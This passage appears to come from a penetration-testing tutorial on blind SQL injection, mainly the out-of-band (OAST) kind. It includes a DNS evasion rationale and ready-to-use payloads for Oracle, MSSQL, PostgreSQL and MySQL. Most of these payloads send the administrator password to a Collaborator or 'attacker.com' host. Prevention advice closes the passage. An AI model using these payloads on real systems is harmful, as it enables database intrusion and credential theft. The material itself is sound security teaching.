Payload	Status	Response received (ms)	Result
a	200	125	No Match
b	200	132	No Match
7	**200**	**10023**	**MATCH!**

- **Optimization:** To save time, reduce the `pg_sleep` duration to

Out-of-Band (OAST) Blind SQL Injection

What is OAST SQL Injection?

Out-of-Band Application Security Testing (OAST) is a technique used when all "In-band" methods fail. It is necessary when queries execute asynchronously, no database errors are returned, and there are no timing differences in responses.

The attacker triggers the database to make an external network call (DNS or HTTP) to a server they control, embedding the sensitive data within the request.

Why DNS is Effective for OAST

While Out-of-Band (OAST) attacks can theoretically use various protocols (HTTP, SMB, FTP), DNS is widely considered the "gold standard" for data exfiltration during SQL injection for several strategic reasons.

Bypassing Firewalls and Egress Filtering

In hardened environments, database servers are strictly prohibited from making outbound HTTP/S connections to the internet. However, almost all servers require DNS (UDP Port 53) to resolve internal hostnames or software update mirrors. Consequently, firewalls are rarely configured to block outbound DNS queries, allowing the SQL payload to "phone home" even when other channels are dead.

Data Exfiltration via Subdomains

DNS allows an attacker to prepend sensitive information to the lookup request. Instead of requesting a static domain, the attacker forces the database to resolve a dynamic subdomain.

- **Example:** `s3cur3p@ssword.abc123def456.burpcollaborator.net`
- **Result:** The sensitive data (`s3cur3p@ssword`) is transmitted as part of the DNS hierarchy without ever establishing a direct TCP connection.

Ease of Monitoring

By using a dedicated listener like **Burp Collaborator**, an attacker can monitor for incoming DNS "A" or "AAAA" record lookups. Every time the database evaluates the malicious SQL string, a new entry appears in the attacker's logs, providing a clear and organized stream of exfiltrated data.

Relative Stealth

DNS traffic is ubiquitous and high-volume. In a typical corporate network, thousands of DNS queries are made every minute. An individual query containing an encoded subdomain is much harder for automated Security Information and Event Management (SIEM) systems to flag as "malicious" compared to an unusual HTTP request from a database server to an unknown external IP address.

> **Summary:** DNS is effective because it exploits a fundamental, trusted protocol that is essential for network operations, turning a standard lookup service into a covert data transport layer.

Oracle OAST SQL Injection: XXE Integration Walkthrough

Understanding the Hybrid Payload

This technique uses Oracle's XML processing capabilities to trigger an External Entity (XXE) request. This is particularly effective on Oracle installations where direct network packages like `UTL_HTTP` might be restricted, but `xmltype` parsing is permitted.

The Decoded Payload:

```
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM
"http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
```

Payload Breakdown

- **EXTRACTVALUE(xmltype(...), '/l')**: An Oracle function that parses a string as XML. The `'/l'` is a dummy XPath search.
- **Embedded XXE**: The XML string contains a `DOCTYPE` declaration with a `SYSTEM` entity.
- **The Trigger**: When Oracle parses this XML, it attempts to resolve the external entity (`%remote`), forcing the server to make an outbound HTTP request to the specified URL.

Step-by-Step Attack Process

Step 1: Prepare Burp Collaborator

Generate a unique domain in the Burp Collaborator client (e.g., `abc123def456.burpcollaborator.net`). This server will listen for the "callback" from the vulnerable Oracle database.

Step 2: Craft the Injection

The payload must be URL-encoded to ensure the XML tags do not break the HTTP request.

```
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+
encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+
"http%3a//abc123def456.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
```

Step 3: Monitor and Poll

Send the request and click **"Poll now"** in the Collaborator client. A successful hit will show an HTTP `GET` request from the database server's IP address.

Data Exfiltration Variants

To actually steal data, we concatenate the results of a subquery into the Collaborator subdomain.

Extracting the Administrator Password:

```
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'
||(SELECT password FROM users WHERE username='administrator')||
'.abc123def456.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
```

Result: If the password is "P4ssw0rd", Burp Collaborator will receive a request for:
`http://P4ssw0rd.abc123def456.burpcollaborator.net/`

Alternative Oracle OAST Techniques

If `xmltype` is blocked, try these alternative Oracle packages:

- **UTL_INADDR (DNS):** `SELECT UTL_INADDR.get_host_address('data.attacker.com')`
- **UTL_HTTP (HTTP):** `SELECT UTL_HTTP.REQUEST('http://attacker.com/data')`
- **HTTPURITYPE (HTTP):** `SELECT HTTPURITYPE('http://data.attacker.com').getclob()`

  Pro Tip: Concatenating multiple rows into a single DNS request (e.g., `username||':'||password`) is the most efficient way to exfiltrate entire tables via OAST.

Quick Reference: Database-Specific OAST Payloads

Oracle Database

Oracle OAST often leverages XML functions or built-in packages to trigger network activity.

- **Using XXE (Works on unpatched Oracle):**

```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password
FROM users WHERE username='administrator')||'.BURP-ID.net/"> %remote;]>'),
'/l') FROM dual
```

- **Using UTL_INADDR (Requires elevated privileges):**

```
SELECT UTL_INADDR.get_host_address((SELECT password FROM users
WHERE username='administrator')||'.BURP-ID.net')
```

Microsoft SQL Server

MSSQL utilizes UNC paths and file system stored procedures to trigger DNS resolutions.

- **Using xp_dirtree:**

```
declare @p varchar(1024);set @p=(SELECT password FROM users
WHERE username='administrator');exec('master..xp_dirtree "//'
+@p+'.BURP-ID.net/a"')
```

- **Using xp_fileexist:**

```
exec master..xp_fileexist '\\BURP-ID.net\test'
```

PostgreSQL

PostgreSQL can use the `COPY` command to interact with the underlying OS or `dblink` for remote database connections.

- **Using COPY command:**

```
copy (SELECT '') to program 'nslookup '||(SELECT password FROM users
WHERE username='administrator')||'.BURP-ID.net'
```

- **Using dblink:**

```
SELECT * FROM dblink('host='||(SELECT password FROM users
LIMIT 1)||'.BURP-ID.net user=test', 'SELECT 1') AS t(x integer)
```

MySQL (Windows Only)

On Windows-based MySQL installations, file functions can be used to resolve UNC paths.

- **Using LOAD_FILE:**

```
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users
WHERE username='administrator'),'.BURP-ID.net\\test.txt'))
```

- **Using INTO OUTFILE:**

```
SELECT password FROM users WHERE username='administrator'
INTO OUTFILE '\\\\BURP-ID.net\a'
```

Security Warning: OAST payloads often require specific privileges or configurations (e.g., `secure_file_priv` in MySQL) to be enabled. Always verify the permissions of the database user during your assessment.

SQL Injection Methodology: Comparison and Selection

This table summarizes the primary SQL injection techniques. Choosing the correct method depends entirely on the feedback provided by the web application and the database server.

Technique	Detection Signal	Data Extraction Speed	Use Case
In-band (UNION)	Visible data on page	Very Fast (Entire rows)	Direct output allowed
Error-Based	Verbose/Change in error	Fast (Via error logs)	Results hidden, errors visible
Boolean Blind	Content change (True/False)	Slow (Bit-by-bit)	Errors and results hidden
Time-Based Blind	Delay in server response	Very Slow (Character-by-character)	No visible changes at all
Out-of-Band	External DNS/HTTP logs	Moderate to Fast	All in-band channels blocked

Selection Logic Flow

To determine which attack to use, follow this logical progression during a penetration test:

- **Can I see the query results?** → Use **UNION-based** injection.
- **Can I see database error messages?** → Use **Verbose Error-Based** (CAST/TO_NUMBER).
- **Does the page content change (e.g., "Welcome" appears)?** → Use **Boolean-Based Blind**.
- **Does a 500 Error only appear on certain conditions?** → Use **Conditional Error-Based**.
- **Is the response identical no matter what I do?** → Use **Time-Based Blind**.

Final Prevention Recommendations

Regardless of the type of SQL injection discovered, the remediation steps remain consistent across all modern web environments:

- **Parameterized Queries (Prepared Statements):** This is the primary defense. It ensures the database treats user input as data only, never as executable code.
- **Input Validation:** Use an allow-list approach to ensure input matches expected formats (e.g., numeric IDs should only contain digits).
- **Least Privilege:** The application's database user should not have permissions to access system tables or administrative functions (like `xp_cmdshell` or `UTL_HTTP`).
- **Generic Error Messages:** Disable verbose error reporting in production to prevent leaking schema information via error-based attacks.

  Conclusion: SQL Injection remains one of the most critical web vulnerabilities. A successful defense requires a "defense-in-depth" strategy, combining secure coding practices with robust server-side configurations.